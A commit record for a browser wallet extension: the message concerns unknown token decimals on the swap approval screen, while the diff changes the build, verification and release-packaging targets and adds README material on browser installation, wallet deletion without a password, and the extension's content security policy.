harden: resolve the swap approval screen's token scale, or refuse to format (closes #340)

tokenInfo() in src/shared/uniswap.js returned decimals: 18 for any token absent from the bundled token list, the same guessed scale that issue 306 removed from the ERC-20 amount line of the same screen. A 1,000-token swap of a 6-decimal token was therefore stated as 0.000000001, a wrong number rather than an imprecise one, and every newly listed token reached it. The swap's Amount and Min. received lines now resolve the scale through resolveTokenDecimals() -- the bundled list, then the tokens the user tracks, then the decimals the block explorer reported -- and where none of those answers they render unknownDecimalsAmount(), the base-unit integer with the scale stated, which is the same refusal the ERC-20 line already makes. No new data source and no network call: the scale comes only from what the wallet already holds, so the screen still makes no request before showing what is being signed. uniswap.decode() takes those sources as a third argument, supplied by decodeCalldata() from state alongside the ones the ERC-20 path already used. An unbounded permit needs no scale to describe and is still shown as Unlimited. README.md records the rule as a Display Consistency exception.

.dockerignore

@@ -4,3 +4,4 @@
 node_modules
 .DS_Store
 dist
+release

.gitignore

@@ -23,6 +23,9 @@ node_modules/
 # Build output
 dist/
 
+# Release artifacts (make package). Derived from dist/, never committed.
+release/
+
 # Yarn
 .yarn-integrity
 package-lock.json

.prettierignore

@@ -1,4 +1,5 @@
 node_modules/
 yarn.lock
 dist/
+release/
 .claude/

Makefile

@@ -1,4 +1,4 @@
-.PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug verify-build vendor-blocklist clean dev
+.PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug package vendor-blocklist clean dev
 
 # Standard targets are thin shims; the implementations live in script/
 # per the scripts-to-rule-them-all pattern (see the Entrypoints section
@@ -41,32 +41,63 @@ check:
 check-censored:
 	@script/check-censored
 
+package:
+	@script/package
+
 docker:
 	@script/docker
 
 hooks:
 	@script/install-precommit
 
+# build.js writes a receipt of everything it emitted — every path, its sha256,
+# and whether it is a bundle containing constants.js — and script/verify-build
+# checks dist/ against that. The receipt is made here, fresh per invocation,
+# outside the repo, and deleted again: a standing file inside dist/ would be
+# rewritten by whoever rewrote dist/, which is what made the old check
+# satisfiable by a hand-written tree.
+#
+# The expected mode is an explicit argument and AUTISTMASK_DEBUG is scrubbed
+# from the verifier's environment. The script no longer reads it at all; env -u
+# is here so that stays true of anything it calls. It is deliberately NOT
+# scrubbed from the build itself: with AUTISTMASK_DEBUG=1 exported, this target
+# compiles a debug bundle and then fails on it, loudly, rather than quietly
+# handing back something other than the release build that was asked for.
+#
+# Every step of this target is wrapped in script/discard-dist-on-failure, so a
+# release build that fails removes dist/ instead of leaving a complete, loadable
+# debug bundle there for whoever runs the build, sees it fail, and loads
+# dist/chrome/ anyway. A step that succeeds removes nothing, and build-debug is
+# deliberately not wrapped.
 build:
 	@echo "Building extension..."
-	@yarn run build 2>&1
-	@script/verify-build
-	@script/check-censored --require-dist
+	@set -eu; \
+	receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
+	trap 'rm -f "$$receipt"' EXIT INT TERM; \
+	script/discard-dist-on-failure \
+		env AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
+	script/discard-dist-on-failure \
+		env -u AUTISTMASK_DEBUG script/verify-build --expect release \
+		--receipt "$$receipt"
+	@script/discard-dist-on-failure script/check-censored --require-dist
 
 # Development-only build: enables the red DEBUG / INSECURE banner and makes
 # the hardcoded test recovery phrase the output of wallet creation. Never
 # distribute the artifacts this produces.
+#
+# No discard-dist-on-failure here, on purpose: a debug build that fails is not
+# producing an artifact anyone could mistake for a release one, and its dist/ is
+# the evidence of what went wrong.
 build-debug:
 	@echo "Building extension (DEBUG)..."
-	@AUTISTMASK_DEBUG=1 yarn run build 2>&1
-	@AUTISTMASK_DEBUG=1 script/verify-build
+	@set -eu; \
+	receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
+	trap 'rm -f "$$receipt"' EXIT INT TERM; \
+	AUTISTMASK_DEBUG=1 AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
+	env -u AUTISTMASK_DEBUG script/verify-build --expect debug \
+		--receipt "$$receipt"
 	@script/check-censored --require-dist
 
-# Assert the compiled DEBUG state of the bundles already in dist/. Runs at
-# the end of build and build-debug; separate target for re-running it alone.
-verify-build:
-	@script/verify-build
-
 # Refresh src/shared/phishingBlocklist.json from its hash-pinned upstream.
 # Run deliberately, land the diff: the extension does no runtime fetching, so
 # the shipped list is as fresh as the last vendoring run that was released.
@@ -74,7 +105,7 @@ vendor-blocklist:
 	@script/vendor-blocklist
 
 clean:
-	@rm -rf dist/
+	@rm -rf dist/ release/
 
 dev:
 	@echo "Building in watch mode..."

README.md

@@ -44,32 +44,169 @@ Load the extension:
 - **Chrome**: Navigate to `chrome://extensions/`, enable "Developer mode", click
   "Load unpacked", and select the `dist/chrome/` directory.
 - **Firefox**: Navigate to `about:debugging#/runtime/this-firefox`, click "Load
-  Temporary Add-on", and select `dist/firefox/manifest.json`.
+  Temporary Add-on", and select `dist/firefox/manifest.json`. Read
+  [Installing on Firefox](#installing-on-firefox) before relying on this: a
+  temporary add-on does not survive closing the browser.
+
+### Release Artifacts
+
+`make package` runs `make build` and then writes one self-contained, versioned
+archive per browser into `release/`, plus a `SHA256SUMS` for them:
+
+```bash
+make package
+```
+
+```
+release/autistmask-chrome-<version>.zip
+release/autistmask-firefox-<version>.xpi
+release/SHA256SUMS
+```
+
+Nothing is published by this. Tagging, CRX packing and any upload are
+outward-facing acts and are the owner's alone.
+
+The archives are deterministic — entries sorted, timestamps fixed, compression
+level fixed — so two builds of one commit produce byte-identical files and the
+recorded digest is a property of the input rather than of the clock.
+
+**Self-containment is checked, not assumed.** `build.js` writes the compiled
+Tailwind output to `dist/styles.css` at the `dist/` ROOT, outside both browser
+directories, and copies it into each of them as `src/popup/styles.css`; a naive
+`zip -r dist/chrome` is therefore correct only by accident. So the packager
+resolves every path referenced by the manifest and by every HTML document in the
+archive, requires each to be inside the archive, and fails on any reference that
+climbs out of the extension root. Files left at the `dist/` root are printed as
+deliberately not shipped rather than dropped by a glob. The archive is then read
+back off disk and compared member by member against the directory it was built
+from: an archive nobody opened is a claim, not an artifact.
+
+There is one version, and the build enforces it. `package.json`,
+`manifest/chrome.json` and `manifest/firefox.json` each declare one and none is
+derived from another — the manifests are copied to `dist/` verbatim, which is
+what `tests/manifest.test.js` asserts — so `script/lib/version.js` requires all
+three to agree and **fails the build when they do not**, naming each file and
+what it said. `tests/version.test.js` covers that rule in `make check`.
+
+### Installing on Chrome
+
+`manifest/chrome.json` carries a fixed `key`: the public half of an RSA keypair,
+base64-encoded DER. It exists for one reason. An unpacked Chrome extension with
+no `key` gets an extension id derived from the **absolute path it was loaded
+from**, and `chrome.storage.local` — which is where the wallet lives — is
+partitioned by that id. Move the checkout, re-clone it, or load a second copy
+from anywhere else, and the extension comes up on a fresh, empty storage
+partition: the wallet is simply gone, with no error and nothing in the UI to say
+so. With the `key` in place the id is derived from the key instead, and follows
+the extension wherever it is loaded from. That id is
+`gipbhkogfopeahplcjhipkgpcimdpkip`, pinned in `tests/extensionId.test.js` and
+observed against a real Chrome in `tests/e2e/storagePartition.js`.
+
+**Changing `key` changes the extension id, and orphans every wallet stored under
+the old one.** It is a migration, not an edit.
+
+The **private** half is a credential. It is not in this repository, no target
+generates one into the working tree, `*.pem` and `*.key` are gitignored, and
+`tests/extensionId.test.js` fails if such a file is ever committed. It is not
+needed to build, load or test anything here — it signs a CRX, and this repo does
+not pack one. A packer would take it from outside the repo, e.g.
+`chrome --pack-extension=dist/chrome --pack-extension-key=<path to the .pem>`.
+
+### Installing on Firefox
+
+**The XPI this repo produces is UNSIGNED, and release Firefox and Firefox ESR
+will refuse to install it.** Those builds enforce add-on signing with no working
+override — `xpinstall.signatures.required` does nothing on them — so a permanent
+install needs Firefox Developer Edition, Nightly, or an Unbranded build, with
+`xpinstall.signatures.required` set to `false` in `about:config`.
+
+Signing means submitting to AMO (self-distribution is enough, and does not
+require listing), which needs credentials this repository does not have and is
+the owner's decision.
+
+The other route is `about:debugging#/runtime/this-firefox` -> "Load Temporary
+Add-on", which works on every Firefox including release. **A temporary add-on is
+unloaded when Firefox exits**, so daily use means re-adding it by hand on every
+browser start.
+
+**The wallet survives the restart.** `manifest/firefox.json` declares a fixed
+`browser_specific_settings.gecko.id`, and Firefox keys the extension's storage
+area on that id rather than on the install, so adding the temporary add-on again
+in the same profile finds the vault where it left it. That is asserted, not
+assumed: `tests/e2e/firefox/reinstall.js` installs the packaged XPI in a real
+Firefox, creates a wallet through the UI, quits the browser, starts it again on
+the same profile, adds the add-on again, and decrypts the vault with the
+original password back to the original recovery phrase. The `moz-extension://`
+origin the popup is served from is _not_ stable across installs and does not
+need to be — nothing durable is keyed on it.
+
+**Removing the add-on does not.** An explicit uninstall — about:addons "Remove"
+— destroys the extension's storage, and the vault with it. That is ordinary,
+correct browser behaviour and it is observed in the same suite, but for a wallet
+it is worth saying out loud: **on Firefox, Remove is irreversible, and the
+recovery phrase is the only way back.**
 
 ### Debug Builds
 
-`make build` always produces a release build: the build-time `DEBUG` constant is
-`false`, so wallet creation uses real entropy and the red banner is off. To
-produce a debug build instead, set `AUTISTMASK_DEBUG=1` in the environment:
+`make build` never hands back a debug build. `make build-debug` is the only
+target that produces one:
 
 ```bash
-make build-debug          # or: AUTISTMASK_DEBUG=1 make build
+make build-debug
 ```
 
-Only the exact value `1` enables it; any other value (including unset, empty, or
-`true`) yields a release build, so a typo cannot accidentally ship the debug
-behavior. The build prints which mode it used. See the
-[DEBUG Mode Policy](#debug-mode-policy) for what the flag changes. **Never
+`AUTISTMASK_DEBUG=1` still selects the debug compile, and only the exact value
+`1` does; any other value (including unset, empty, or `true`) yields a release
+build, so a typo cannot accidentally ship the debug behavior. But it is the
+compiler's input, not the verifier's: if it happens to be exported in the shell
+that runs `make build`, that target compiles a debug bundle and then **fails**,
+because it tells `script/verify-build` in so many words that it was supposed to
+produce a release build. It used to be that the verifier read the same variable
+out of its own environment, agreed with itself, and reported a debug artifact as
+verified. The build prints which mode it used. A release build that fails also
+**removes `dist/`**, and says so: the bundle it had already written is loadable,
+and a loud failure is no protection against someone loading `dist/chrome/`
+anyway. `make build-debug` keeps its `dist/` on failure — that output is not
+mistakable for a release build, and it is the evidence of what went wrong. See
+the [DEBUG Mode Policy](#debug-mode-policy) for what the flag changes. **Never
 distribute a debug build** — every wallet it creates gets the same publicly
 known test recovery phrase.
 
-Both builds end by running `script/verify-build`, which reads the compiled
+Both targets end by running `script/verify-build`, which reads the compiled
 `DEBUG` state back out of the emitted bundles and fails the build if it is not
 the one that was asked for. The test suite cannot check this: it loads
 `src/shared/constants.js` outside a bundle, so it only ever sees the fallback
 value. The assertion is on the artifacts because that is where the property
 lives.
 
+### Build Receipts
+
+`build.js` records every file it emits — path, sha256, and whether the file is
+one of the bundles containing `src/shared/constants.js` — into a build receipt,
+and `script/verify-build` checks `dist/` against that receipt: every recorded
+file present with exactly the recorded bytes, every audited bundle carrying the
+requested `DEBUG` marker, and no regular file or symlink under `dist/` that the
+build did not write. The `Makefile` creates the receipt path with `mktemp` per
+invocation, outside the repo, and deletes it afterwards.
+
+That is what ties the check to a build rather than to a directory. What it
+establishes is narrow and worth stating exactly: `dist/` is byte for byte the
+output of the `build.js` run that just finished, with no regular file or symlink
+added, removed or altered in between. Regular files and symlinks are the whole
+of what the tree walk covers; fifos, sockets, device nodes and empty directories
+under `dist/` are not checked, because a build emits none of them, none can
+carry a shippable payload, and `grep` on a fifo would hang rather than fail. It
+establishes nothing about whether the source tree or `build.js` were honest, and
+it offers nothing to someone handed a `dist/` from elsewhere — without the
+receipt from its own build there is no input to the check. Verifiable provenance
+for a third party is signing, which this is not.
+
+There is deliberately no target that re-verifies an existing `dist/` on its own.
+The list of files to check has to come from the build that produced them; read
+back out of `dist/`, it is the artifact vouching for itself, which is how a
+26-byte file containing only the marker string, a hostile content script, and an
+entire hand-written `dist/` all used to verify green.
+
 ## Entrypoints
 
 This repository adheres to the
@@ -109,25 +246,45 @@ provide:
   fails anywhere else. Part of `make check`, which inspects `dist/` when there
   is one and says loudly when there is not; `make build` re-runs it with
   `--require-dist`, so a build artifact is always covered
+- `script/package` — produce the release artifacts: `make build` first, so the
+  archives can only ever be made from a `dist/` that has been verified against
+  that build's own receipt as a RELEASE build, then one self-contained,
+  versioned archive per browser into `release/` (see
+  [Release Artifacts](#release-artifacts)). It packages and does not publish
 - `script/vendor-blocklist` — refresh `src/shared/phishingBlocklist.json` from
   its upstream, pinned to a commit and to the sha256 of the bytes that commit
   serves. Run deliberately, never as part of a build: the output is committed
   and there is no runtime fetch, so the shipped list is as fresh as the last
   vendoring run that was released
-- `script/verify-build` — assert the compiled `DEBUG` state of the bundles in
-  `dist/`: every bundle containing `src/shared/constants.js` must have `DEBUG`
-  off, or on when `AUTISTMASK_DEBUG=1`. Run automatically at the end of
-  `make build` and `make build-debug`; fails loudly rather than passing if it
-  cannot determine a bundle's state. Not part of `make check`, which does not
-  depend on build artifacts existing.
+- `script/verify-build --expect release|debug --receipt PATH` — assert that the
+  regular files and symlinks under `dist/` are exactly what the build that just
+  ran emitted (other file types are out of scope), and that the compiled `DEBUG`
+  state of the bundles in it is the one that was asked for. Both arguments are
+  required and neither has a default: the expected mode is stated by the caller
+  rather than read from `AUTISTMASK_DEBUG`, and the file list comes from the
+  build's receipt rather than from `dist/` (see
+  [Build Receipts](#build-receipts)). Run automatically at the end of
+  `make build` and `make build-debug`; fails loudly rather than passing whenever
+  it cannot determine something. Not part of `make check`, which does not depend
+  on build artifacts existing.
+- `script/discard-dist-on-failure COMMAND [ARG...]` — run one step of the
+  **release** build and, if it fails, remove `dist/` before returning that
+  step's exit status, saying on stderr that it did and why. Every step of
+  `make build` runs through it; `make build-debug` runs none of them through it.
+  A step that succeeds removes nothing, and a removal that cannot be completed
+  is reported as loudly as one that was
 - `script/test-verify-build` — exercise every failure mode of
   `script/verify-build` against a fixture tree in a temp dir, asserting the exit
-  status and the message of each. Part of `make check`; it reads no build
-  artifacts and writes nothing under `dist/`. The cases that depend on file
-  permissions cannot mean anything for a process that is not subject to them, so
-  the harness proves its runner against a mode-000 file before counting them,
-  dropping to an unprivileged user when run as root; if it cannot, it skips
-  those cases and says so in a banner rather than passing them.
+  status and the message of each, assert the state of `dist/` on disk after a
+  failing and a succeeding release build step, and read the `make build` and
+  `make build-debug` recipes back out of `make -n` to check that they pass the
+  mode as an argument on a scrubbed environment and wrap only the release path.
+  Part of `make check`; it reads no build artifacts and writes nothing under
+  `dist/`. The cases that depend on file permissions cannot mean anything for a
+  process that is not subject to them, so the harness proves its runner against
+  a mode-000 file before counting them, dropping to an unprivileged user when
+  run as root; if it cannot, it skips those cases and says so in a banner rather
+  than passing them.
 - `script/docker` — build the Docker image tagged via `script/projectname`
 - `script/cibuild` — CI entrypoint: plain `docker build .`
 - `script/precommit` — run by the git pre-commit hook; runs `script/check`
@@ -140,10 +297,13 @@ The Makefile shims to those. It also carries a few targets that have no
   of `script/bootstrap`. Frozen so a stale `yarn.lock` fails instead of being
   silently rewritten. Use `make setup` for a fresh clone.
 - `make hooks` — shims to `script/install-precommit`
-- `make build` — build the extension into `dist/chrome/` and `dist/firefox/`
-- `make build-debug` — the same build with `AUTISTMASK_DEBUG=1` (see
+- `make build` — build the extension into `dist/chrome/` and `dist/firefox/`,
+  then verify the result against the build's receipt as a release build. A
+  failure at any step removes `dist/`
+- `make build-debug` — the same build with `AUTISTMASK_DEBUG=1`, verified as a
+  debug build, and keeping its `dist/` on failure (see
   [Debug Builds](#debug-builds))
-- `make clean` — remove `dist/`
+- `make clean` — remove `dist/` and `release/`
 - `make dev` — build in watch mode
 
 ## End-to-End Tests
@@ -279,6 +439,23 @@ class before a browser is involved, so this suite is no longer the only thing
 standing between it and a release — but a static rule only sees identifiers, and
 the runtime errors this suite catches are broader than one rule.
 
+`make test-e2e` then runs a second program in the same image,
+`tests/e2e/storagePartition.js`, which answers where `chrome.storage.local`
+lives. It loads the built extension from one temporary directory in a fresh
+profile, writes a sentinel key the extension itself never touches, closes the
+browser, and loads a **copy at a different path into the same profile** — then
+does it again with `key` stripped out of the manifest, and reports what each
+pair actually did rather than what it expected. It needs its own browser
+sessions, four of them, because the whole subject is what happens ACROSS loads.
+
+The observed behaviour, on the pinned Chromium: **with `key`, both paths get the
+same extension id and the second load reads the first load's storage. Without
+`key`, the two paths get different ids and the second load sees an empty
+partition** — the wallet, silently gone. Loading both keyed copies at once in
+one profile yields a single extension id, not two: Chrome does not load a second
+copy of an id it already has. The assertions are annotated as observations, so a
+Chrome that ever changes this fails the run instead of passing it.
+
 ### Firefox (`make test-e2e-firefox`)
 
 `make test-e2e-firefox` builds `dist/firefox/` and drives the **real popup in a
@@ -296,6 +473,33 @@ runner rather than believed from the extension, and the stub node has to answer
 `eth_sendRawTransaction` with the hash `ethers` computes for the artifact it
 sent, or `provider.broadcastTransaction()` refuses the answer.
 
+`make test-e2e-firefox` then runs a second program in the same image,
+`tests/e2e/firefox/reinstall.js`, and it installs the **packaged XPI** rather
+than the unpacked directory — the only place a real Firefox is asked to load the
+artifact that would actually be handed to someone. It runs two browsers over one
+profile, because it asks two questions that have different answers:
+
+- **Restart.** Install, create a wallet through the UI, record the vault, quit
+  the browser, start it again on the same profile, add the add-on again. The
+  extension must not come up as a fresh install; the vault, xpub and first
+  address must be unchanged; and the vault must still **decrypt** with the
+  original password to the original recovery phrase, through the real Show
+  Recovery Phrase screen. "The ciphertext is still in storage" and "the wallet
+  still works" are different claims and only the second one is worth anything.
+  This is what a user does every day, because a temporary add-on is unloaded
+  when Firefox exits.
+- **Removal.** Then, in the same browser, an explicit uninstall and a fresh
+  install. Observed: **Firefox destroys the extension's storage on uninstall**,
+  so the vault is gone. Recorded as an assertion, so a Firefox that ever changes
+  it fails the run, and stated in
+  [Installing on Firefox](#installing-on-firefox) because for a wallet it means
+  Remove is irreversible except from the recovery phrase.
+
+It also pins down something worth knowing about the harness: the
+`moz-extension://` uuid the popup is served from is not stable across installs,
+and navigating to a stale one does not fail — it hangs. The program reads the
+live uuid out of `extensions.webextensions.uuids` after every install.
+
 Both suites build their own image, each with the repo and a fresh extension
 build baked in; what differs is the base. The Chrome image layers those on top
 of a published Playwright image, whereas this one is assembled from a `node`
@@ -653,6 +857,51 @@ Both are click-copyable. Truncating to 4 decimals in summary views is acceptable
 for scannability, but the detail view must never discard precision — it is the
 one place the user can always use to verify exact details.
 
+**Specific Exception — nonzero floor on the approval screens:** A nonzero amount
+must never render as zero. Truncating to 4 decimals does exactly that to an
+amount below 0.0001 — 1 base unit of an 18-decimal token, 500 base units of an
+8-decimal one — and on the dApp approval screen and the wait/success/error
+screens that carry its amount forward, a real transfer or allowance then reads
+as "nothing is being moved". A swap's `Min. received` is the sharper case: a
+slippage floor shown as `0.0000` states that the swap may return nothing.
+
+On those screens, when the truncated string would contain no digit from 1 to 9
+and the value does, the amount is extended to its first significant digit
+instead: `0.000000000000000001 DAI`, not `0.0000 DAI`. The test is on the whole
+truncated string, integer part included, so `1.00005` still shows as `1.0000` —
+the exception only fires where the entire displayed figure would read as zero. A
+genuine zero still renders `0.0000`, and truncation stays truncation: `0.99999`
+shows as `0.9999`, never rounded up.
+
+The rule and its exception live in `src/shared/amountDisplay.js` as
+`truncateAmount()` and `truncateAmountNeverZero()`. Everything the approval and
+confirmation screens display goes through the floored one — the ERC-20 amount,
+the ETH value and max fee (`src/popup/views/approval.js`), and the swap's
+`Amount` and `Min. received` lines (`src/shared/uniswap.js`). The history and
+balance lists (`src/shared/transactions.js`) use the unfloored one: the
+transaction detail view is the authoritative record and already shows exact
+precision. The 4-decimal rule is unchanged everywhere else, including for
+amounts at or above the floor on the approval screens.
+
+The floor applies only where the token's scale is known. Where it is not, the
+approval screen states base units instead of a quantity — see Unknown token
+scale below — and no truncation happens at all.
+
+**Specific Exception — unknown token scale:** Calldata carries base units and no
+scale, so every amount on the dApp approval screen needs the token's `decimals`.
+It is resolved from the bundled token list, then from the tokens the user
+tracks, then from what the block explorer reported for the contract
+(`resolveTokenDecimals()` in `src/shared/approvalAmount.js`). Where none of them
+answers, the amount is not formatted: the line reads
+`5000000000 base units (decimals unknown)`. A guessed scale is not an
+approximation but a different number — 1,000 units of a 6-decimal token
+formatted at 18 decimals reads `0.000000001` — on the screen whose only job is
+to state what is being authorized. Both amount paths of that screen take this
+rule: the ERC-20 `transfer`/`approve` line (`src/popup/views/approval.js`) and
+the swap's `Amount` and `Min. received` lines (`src/shared/uniswap.js`). An
+unbounded allowance or permit needs no scale to describe and is still shown as
+`Unlimited`.
+
 #### Partial USD totals
 
 Prices are fetched for the top 25 tokens only, so an address can hold assets the
@@ -769,7 +1018,9 @@ for the views listed in `RESTORABLE_VIEWS` (`src/popup/restorableViews.js`).
 Every other screen falls back to Home. The screens that display a secret —
 ExportPrivKey and ShowRecoveryPhrase — are deliberately absent from that list,
 so the popup can never reopen onto one of them with no password prompt in front
-of it.
+of it. So are the two that destroy one, DeleteWallet and
+DeleteWalletLostPassword: a popup reopened by accident must not land on a screen
+whose button erases key material.
 
 A reopened popup renders the wallet list and the one screen it restores onto,
 and nothing else, so every screen on the stack behind that one is still the
@@ -792,7 +1043,10 @@ exit from that screen rather than only on its "Back" button, so nothing secret
 survives in a hidden view once the user has navigated away by any route. That
 covers the revealed private key and recovery phrase, the recovery phrase,
 private key or extended private key entered on AddWallet, and the password typed
-on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
+on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign. DeleteWalletLostPassword
+registers one as well, for the neighbouring reason rather than that one: a
+wallet name is not a secret, but a typed confirmation left standing in a hidden
+view would leave a wallet one click from deletion.
 
 #### Welcome (`welcome`)
 
@@ -853,7 +1107,13 @@ on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
         - **From xprv**: instruction text and a masked extended private key
           input
     - Password + confirm password inputs, with a hint line whose wording depends
-      on the selected tab
+      on the selected tab. Every wording says that the password cannot be
+      recovered or reset and names what the only backup of the wallet is — the
+      recovery phrase, the private key or the extended private key, according to
+      the tab. This is the only warning the user gets before the wallet exists;
+      without it, the lost-password route on DeleteWallet is the first they
+      would hear of it. The hint line reserves its height, so switching tabs
+      cannot move the password fields under the pointer.
     - "Import" button
 - **Transitions**:
     - "Import" with a valid entry and a matching password of at least 12
@@ -1208,6 +1468,7 @@ on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
     - Error line
     - Password input
     - "Confirm Delete" button
+    - An underlined "I have lost my password" control
 - **Transitions**:
     - "Confirm Delete" (correct password, other wallets remain) → deletes the
       wallet and its site permissions, then → **Settings** with a "Wallet
@@ -1217,10 +1478,54 @@ on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
     - Either way, the active address moves only if it belonged to the deleted
       wallet, and `AUTISTMASK_ACTIVE_CHANGED` is broadcast when it does
       (`src/shared/walletDelete.js`)
-    - "Confirm Delete" (wrong password) → "Wrong password." on the error line,
-      nothing deleted
+    - "Confirm Delete" (wrong password) → "That password is incorrect. Please
+      try again." on the error line, nothing deleted
+    - "I have lost my password" → **DeleteWalletLostPassword**
     - "Back" → previous screen (Settings)
 
+#### DeleteWalletLostPassword (`delete-wallet-lost-password`)
+
+- **When**: User tapped "I have lost my password" on DeleteWallet.
+- **Why it exists**: without it, a user who has forgotten the password but still
+  holds the recovery phrase has no route back into the product at all. Deletion
+  was password-gated, and importing the phrase again is refused as a duplicate
+  xpub by `findWalletByXpub()` while the wallet is still stored, so the only
+  escape was clearing extension storage through browser internals — which takes
+  every other wallet with it.
+- **Elements**:
+    - "Back" button, "Delete Wallet Without a Password" heading
+    - A statement that the password cannot be recovered or reset, so the wallet
+      cannot be unlocked again, and that no password is needed to delete it
+    - What deletion does and does not do: it erases the copy of the key stored
+      on this device; nothing on chain changes and no money is moved
+    - The route back — adding the wallet again with the recovery phrase and a
+      new password — and, in bold, that without that phrase written down the
+      deletion loses everything the wallet holds, forever
+    - That the other wallets are not touched
+    - The wallet's name, and a text input asking for it to be typed back
+    - Error line
+    - "Delete This Wallet Forever" button
+- **Transitions**:
+    - "Delete This Wallet Forever" (name typed correctly) → the same two
+      outcomes as "Confirm Delete" above, through the same `finishDelete()`, so
+      the selection repair, permission cleanup and `AUTISTMASK_ACTIVE_CHANGED`
+      broadcast are identical on both routes
+    - "Delete This Wallet Forever" (name does not match) → "That is not the name
+      of this wallet. Type &lt;name&gt; to confirm." on the error line, nothing
+      deleted
+    - "Back" → **DeleteWallet**, re-entered through its `show()` so the wallet
+      selection comes back with it. The two delete screens are siblings rather
+      than parent and child: nothing is pushed on the way here, so both have
+      Settings as their Back target.
+- **Deliberately not password-gated.** A password in front of _discarding_ a
+  secret protects nobody: an attacker at the popup who wants the wallet gone can
+  uninstall the extension, so the only person such a gate stops is the owner who
+  forgot it. The typed name is a check that the user knows which wallet they are
+  on, not a secret, so it is matched with surrounding spaces and letter case
+  ignored.
+- Not in `RESTORABLE_VIEWS`, alongside `delete-wallet-confirm`: a popup reopened
+  by accident must not land on a screen whose button erases key material.
+
 #### DeleteAddress (`delete-address-confirm`)
 
 - **When**: User tapped the `[x]` next to an address on Home. Offered only on HD
@@ -1237,13 +1542,13 @@ on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
       refused: "+" derives the next unused index (`nextIndex` is a high-water
       mark), and re-importing the wallet's key material is rejected as a
       duplicate by `findWalletByXpub` while the wallet is still present. What
-      works is deleting the whole wallet in Settings — password-gated, and it
-      destroys the stored secret — then importing again, whereupon
-      `scanForAddresses()` rediscovers the address **only if it has on-chain
-      activity**. An address that was never used is not found by that scan. The
-      text is written by `recoveryPathText()` rather than sitting in
-      `index.html`, so it can name the wallet's own kind of key material: an
-      xprv wallet has no recovery phrase to re-import.
+      works is deleting the whole wallet in Settings — which destroys the stored
+      secret — then importing again, whereupon `scanForAddresses()` rediscovers
+      the address **only if it has on-chain activity**. An address that was
+      never used is not found by that scan. The text is written by
+      `recoveryPathText()` rather than sitting in `index.html`, so it can name
+      the wallet's own kind of key material: an xprv wallet has no recovery
+      phrase to re-import.
     - A warning when the address holds anything, ETH or any tracked ERC-20,
       followed by the holdings themselves via `balanceLinesForAddress()` and the
       USD total via `formatAddressTotal()` (see
@@ -1464,10 +1769,44 @@ policy, but as of now there are none.
 
 ### Content Security Policy
 
-Both manifests declare the same policy for extension pages —
-`script-src 'self' 'wasm-unsafe-eval'; object-src 'self'` — as an object under
+Both manifests declare the same policy for extension pages, as an object under
 `content_security_policy.extension_pages` in `manifest/chrome.json` (MV3) and as
-a bare string in `manifest/firefox.json` (MV2).
+a bare string in `manifest/firefox.json` (MV2):
+
+```
+default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self';
+style-src 'self' 'unsafe-inline'; img-src 'self' data:;
+connect-src 'self' https: http:; frame-src 'none'; form-action 'none';
+base-uri 'none'
+```
+
+`default-src 'self'` is the floor. Without it the policy governed script and
+plugins only, and everything else — frames above all — was unrestricted, which
+is what let an unescaped token symbol paint a cross-origin iframe over the
+wallet's own UI. Escaping is the primary fix for that (see
+`src/shared/html.js`); this is the second line, so an escape that does slip
+cannot reach the network.
+
+Four directives are looser than `'self'`, each for a reason that does not
+generalise:
+
+- `style-src 'unsafe-inline'` — `src/popup/index.html` and the view helpers set
+  presentation through `style="..."` attributes, which CSP blocks without this.
+  Chrome enforces `style-src` on attributes, not only on `<style>` blocks, and
+  Firefox has never implemented `style-src-attr`, so there is no narrower
+  spelling that works on both targets. It permits inline **style**; script stays
+  under `script-src`, which does not allow `'unsafe-inline'`.
+- `img-src data:` — identicons are generated in the popup by
+  `ethereum-blockies-base64` and assigned to `img.src` as `data:` PNGs.
+- `connect-src https: http:` — the RPC endpoint is user-configurable and a local
+  node over `http://127.0.0.1` is a supported configuration, which the Firefox
+  end-to-end suite depends on. The wallet's outbound traffic is constrained by
+  what it is written to contact (see External Communication), not by this
+  directive.
+- `frame-src 'none'`, `form-action 'none'`, `base-uri 'none'` — named rather
+  than inherited. `form-action` and `base-uri` do not fall back to `default-src`
+  at all, so they would have stayed unrestricted; `frame-src 'none'` is what
+  refuses the framed-overlay attack outright.
 
 `'wasm-unsafe-eval'` is there for one reason: libsodium. It ships a WebAssembly
 build and a `wasm2js` translation of it in one file, tries WASM first, and
@@ -1485,9 +1824,10 @@ strings, not inline script, not remote script. Using it requires already
 executing script in an extension page, which is complete compromise on its own.
 `'unsafe-eval'` is a different proposition and is not granted.
 
-The grant is pinned in both directions. `tests/manifest.test.js` asserts the
-exact token set in both manifests, so dropping `'wasm-unsafe-eval'` (a silent
-20x regression on the key derivation) and adding anything beyond it both fail
+The policy is pinned in both directions. `tests/manifest.test.js` asserts the
+exact directive set and the exact token set of each directive in both manifests,
+so dropping `'wasm-unsafe-eval'` (a silent 20x regression on the key
+derivation), dropping `default-src`, and adding anything anywhere all fail
 `make check`. `tests/vaultBackend.test.js` asserts the unit tests run the WASM
 backend, and `make test-e2e` compiles a WebAssembly module inside the real popup
 under the real manifest.

TODO.md

@@ -25,7 +25,8 @@ pre-1.0, working towards the 1.0.0 milestone. Tagged v0.1.0 on 2026-02-27. The
 milestone is in flight on `next`; its `next` -> `main` PR is
 [#190](https://git.eeqj.de/sneak/AutistMask/pulls/190). `make check` verified
 green on `next` at `e9fa8be` on 2026-08-10, and `make build` produces
-`dist/chrome/` and `dist/firefox/` with every bundle verified to have `DEBUG`
+`dist/chrome/` and `dist/firefox/`, verified against the build's own receipt to
+hold exactly the regular files and symlinks that build emitted, with `DEBUG`
 compiled off.
 
 The backlog lives on the
